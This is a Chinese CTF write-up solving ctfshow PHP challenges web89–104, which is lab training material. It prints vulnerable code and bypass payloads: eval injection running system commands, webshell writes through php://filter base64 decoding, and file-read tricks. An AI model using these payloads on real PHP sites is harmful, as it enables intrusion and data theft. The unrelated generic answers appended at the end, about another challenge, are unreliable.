CTFshow-特性web89-104题

web89 intval函数 数组绕过

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
  $num = $_GET['num'];
  if(preg_match("/[0-9]/", $num)){
    die("no no no!");
  }
  if(intval($num)){
    echo $flag;
  }
} 

第一个if 传入 num
第二个if判断是不是数字 如果是就 die 结束
第三个if intval函数

intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
php里int是指Integer整型
intval()函数
语法:
intval(mixed $value ,int $base =10):int
value为要转换成 integer 的数量值

preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1
所以使用数组绕过

?num[]=1

image.png

web90 intval函数 和 ===的绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
ctfshow{f7cf0df9-ee1c-4151-911c-8fee7a3de090}

第二个if num === 4476 就die
第三个if 这里经过intval 又必须等于 4476
否则 输出 intval 当时的整数值
使用前面的数组绕过不行了 ,他可以绕过第一个 但不能绕过第二个 所以直接输出 intval等于1 了
这里可以使用十六进制绕过 和 弱比较

4476  10 进制转为 16进制  0x117c 这里要带0x 表示16进制

image.png

4476 转为 8进制  10574
但是这里直接输入是不行的 ,要在前面加一个0 表示 八进制 和 在前加一个0x 表示16差不多
payload
?num=010574

image.png
image.png

num 我输入数字字符串 他就不会比较绕过第一个if 
payload
?num=4476a  这个是字符串 ,但是只要进行比较会优先考虑前面开头是什么类型如果是数字开头就是数字 ,否则字符串

image.png

还有一个在前面加入 +
不知道为什么加其他的不行 加入 +号是可以的

?num=+4476 
减号这些都不行

image.png

web91 preg_match('/^php$/im )绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
ctfshow{440ef896-2783-49cc-bf93-b38b2a652b99}

第一个if 输入的 cmd的值要包含 php 这里的 im 表示单行检测和多行检测
第二if 表示 如果php 到 php就执行 echo hacker ,所以在这个函数 这里是不能被检测到php的
preg_match 都知道存在一个 %0a 换行绕过

?cmd=a%0aphp 
意思是他第一个if执行
原本是这样的
  a 经过0a换行 
  php 他也是能检测到的 这样绕过第一个if
  第二个if  只检测单行
a%0a 换行之后就只剩下 a了所以他检测不到php就绕过了 
  执行 echo flag了
  

image.png

web92 题 == 绕过 与科学计数法

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 4776

这里和90题差不多的
但是 把 === 强等于4476 变成 ==符号
依旧可以使用进制转换

?num=0x117c

科学计数法绕过

?num=4476e1
e123表0 
e 表示科学计数法

image.png

web93 8进制绕过 和 四舍五入绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 0

这里使用过滤掉了因为 排查 16进制和 科学计数法
使用8进制

payload
?num=010574

然后就是四舍五入

?num=4476.1
我是理解为四舍五入 
毕竟因为intval 要的是整数 
  1不满足,所以舍却 就是 4476

image.png

web94题 小数点绕过 %0a绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} ctfshow{d9c6fc3d-c77e-4d6c-9cb2-4ee838d27cd8}

第一个if 不能强等于 4476
第二个if 不能带有 英文
第三if 只能匹配一个0 ,strpos函数匹配第一个出现的位置
第四个if 整数强等于 4476
----------------------------------
所以16进制不行 ,八进制不行 ,科学计数法不行 ,加字符不行
使用小数点这里

?num=4476.0
这里既匹配到了 0 也匹配到了4476  也没有英文。  取整数后就是 4476 

也可以使用%0a绕过 
?num=4476%0a0
既不是强等于4476  也可以绕过preg_match函数  ,也存在0  强转也是 4476
  

image.png

web95 +号绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} ctfshow{434c3402-84d2-4e3e-bc6a-7a92d7a00bdb}

这里过滤掉了小数点 ,然后不能使用小数绕过了
也不能使用十六进制 ,这里看wp是可以是八进制的
payload

010574 
前提这里要加入一个+ 号 
payload:  num=+010574  
根据ai的解释说 + 在php中代码 空格 所以可以绕过
第一个 不是4476 

web96 题 伪协议绕过 和 ./

# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

不能等于 flag.php
我输入了%0a 和 %20 +
image.png
他绕过了== 去打开flag.php空格这个文件了 提示没有这个文件
我这里使用了伪协议绕过

u=php://filter/conver.base64-encode/resource=flag.php

image.png

还有一种方法是 ./ linux中 表 当前目录下的文件

u=./flag.php

image.png

web97 MD5=== 数组绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

a 和 b 不相等 ,然后a 和b 的md5值又相等
这里使用数组绕过

a[]=1&b[]=2

image.png

web98 三元运算符和传址(引用) 传址(引用)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

官方wp

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

image.png

web99 in_array函数的特性

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

一开始没看到 ,但是看见了file_put_contents 就知道要写shell一般

array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同

//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET[‘n’], $_POST[‘content’]);
n 输入文件名 content输入 shell
image.png
image.png
查看flag
image.png

web100 命令执行 闭合

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

自己的意思来立即一下 ,传入v1 v2 v3
然后 is_numeric 判断是否是数字或者字符串 然后传给 v0
判断v0 v2中是否包含; v3 要有;
然后可以使用eval执行命令
没有过滤任何命令
这里包含了ctfshow.php 文件说明了 flag 在 ctfshow方法里面
直接读取 ctfshow.php

?v1=1&v2=readgzfile("ctfshow.php")/*&v3=*/; 这里进行闭合 就造成文件读取了

image.png
F12
image.png
也可以使用var_dump

v2=var_dump($ctfshow)/*&v3=*/;  没过滤啥命令 可以执行的很多
/?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;  直接使用?>闭合php也可以 执行命令

web101 ReflectionClass反射类

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>
Class [ class ctfshow ] { @@ /var/www/html/ctfshow.php 15-17 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [3] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_8a728c6b0x2d0a040x2d47cd0x2d94820x2de5cafe19659 ] } - Methods [0] { } }

可以看见过滤了很多符合 " ; * ) _这些都不能使用了
php中有一个反射类 ,可以把方法里面的值 反射出来 ReflectionClass
元数据对象(包含class的所有属性/方法的元数据信息)。

涉及到类,可以考虑使用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

payload:v1=1&v2=echo new ReflectionClass&v3=;

flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可

反射类:https://blog.csdn.net/qq_45089570/article/details/109586035

v1=1&v2=echo new ReflectionClass&v3=;

image.png

web102 hex2bin 和 bin2hex 写shell

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>
PD89YGNhdCAqYDs

简单意思

if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}

v3 是写的文件名
v1 可以调用方法 ,v2 截取字符串 写入的内容 ,
但是这里 v2 要做 bin2hex 编码
image.png
v3 写入的文件名要是php伪协议进行写 号解码那个 base64
payload:

POST /?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

v1=hex2bin //调用hex2bin 转换 v2 

image.png
访问1.php 然后F12
image.png
参考:
https://ctf.show/writeups/1594388
https://ctf.show/writeups/1028204
https://blog.csdn.net/weixin_74336671/article/details/134606011

web103

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>
PD89YGNhdCAqYDs

已经可以上面的那题payload
v2 会匹配php 但是上个payload 没用php,如果过滤php 也可以使用<?= system("cat /flag"); ?>
image.png
image.png

web104 数组绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>

image.png

POST /?v2[]=2
v1[]=1

官方wp:

#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

image.png
随便填两个都能行。/???

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: ctfshow-web-web红包是一道CTF比赛中的网络安全目。这道目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包是一个CTF(Capture the Flag)比赛中的Web目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解方法还需要根据目中的具体情况来确定。在CTF比赛中,每个目的设置都可能不同,解的方法和思路也会有所差异。因此,在解过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包是一个CTF比赛中的网络目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值